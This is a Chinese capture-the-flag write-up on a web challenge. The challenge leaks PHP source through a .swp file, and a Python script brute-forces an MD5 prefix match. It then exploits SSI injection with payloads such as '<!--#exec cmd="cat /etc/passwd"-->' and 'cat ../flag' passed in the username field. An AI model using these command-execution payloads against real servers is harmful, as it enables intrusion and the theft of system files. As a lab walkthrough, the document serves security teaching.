考查点:源码泄露index.php.swp,SSI注入漏洞,md5值相等的字符串寻找
目录
解题过程
打开题目
当时的第一反应觉得是sql注入,后来发现不是,而是源码泄露
index.php.swp,得到源码
<?php
ob_start();
function get_hash(){ //构造一个字符串
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {//首先需要满足这个md5值前6位相等的值,可以使用py脚本多线程跑一下
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml"; //创建一个后缀名为shtml的文件,看到这里就应该想到了SSI注入漏洞
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text); //将$text中的值写入#shtml中,这就是SSI注入漏洞利用点
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
代码审计
get_hash()是个自定义函数,用来得到一个字符串,用作文件的名字。主函数是这样的:我们传入的$password的md5值需要满足前6个字符是6d0bc1,然后会得到一个字符串(暂定为s),会建立s.shtml文件,$text中含有我们传入的$username,并且会将$text的值写入s.shtml中,而这会导致SSI注入漏洞。
了解一下SSI注入漏洞
下面是引用的部分段落,原文章:SSI注入漏洞
SSI是英文Server Side Includes的缩写,翻译成中文就是服务器端包含的意思。从技术角度上说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针。SSI具有强大的功能,只要使用一条简单的SSI命令就可以实现整个网站的内容更新,时间和日期的动态显示,以及执行shell和CGI脚本程序等复杂的功能。SSI可以称得上是那些资金短缺、时间紧张、工作量大的网站开发人员的最佳帮手。
(Server-side Includes)服务器端包含提供了一种对现有HTML文档增加动态内容的方法。apache和iis都可以通过配置支持SSI(默认Apache不开启SSI,SSI这种技术已经比较少用了),在网页内容被返回给用户之前,服务器会执行网页内容中的SSI标签。在很多场景中,用户输入的内容可以显示在页面中,比如一个存在反射XSS漏洞的页面,如果输入的payload不是xss代码而是ssi的标签,服务器又开启了ssi支持的话就会存在SSI漏洞。
直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
1
2
3
4
5
1
、<!–#exec cmd=
"文件名称"
–>
<!--#exec cmd=
"cat /etc/passwd"
-->
2
、<!–#exec cgi=
"文件名称"
–>
<!--#exec cgi=
"/cgi-bin/access_log.cgi"
–>
找到符合条件的字符串
借一下大佬的exp,原文章:CTF-web 第一部分 MD5
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=6d0bc1
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
keymd5 = '6d0bc1' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6
def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:6] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break
list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()
得到部分结果
51302775
2020666
拿取flag
1. 选取一个,然后传入相应的值,注意标注红线的地方
username=<!--#exec cmd="ls"-->&password=2020666
执行ls,查看目录,然后结果会显示在右边的public/s.shtml中,(s为代称),然后查看Url_is_here中的文件,回显是目录文件
2. 但是当前文件夹中没有flag文件,所以继续查看别的文件夹'ls ../'
username=<!--#exec cmd="ls ../"-->&password=2020666
继续查看public/s.shtml文件,可以发现flag文件
3. cat命令拿到flag
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666
查看public/s.shtml文件,得到flag
推荐文章
2. SSI注入漏洞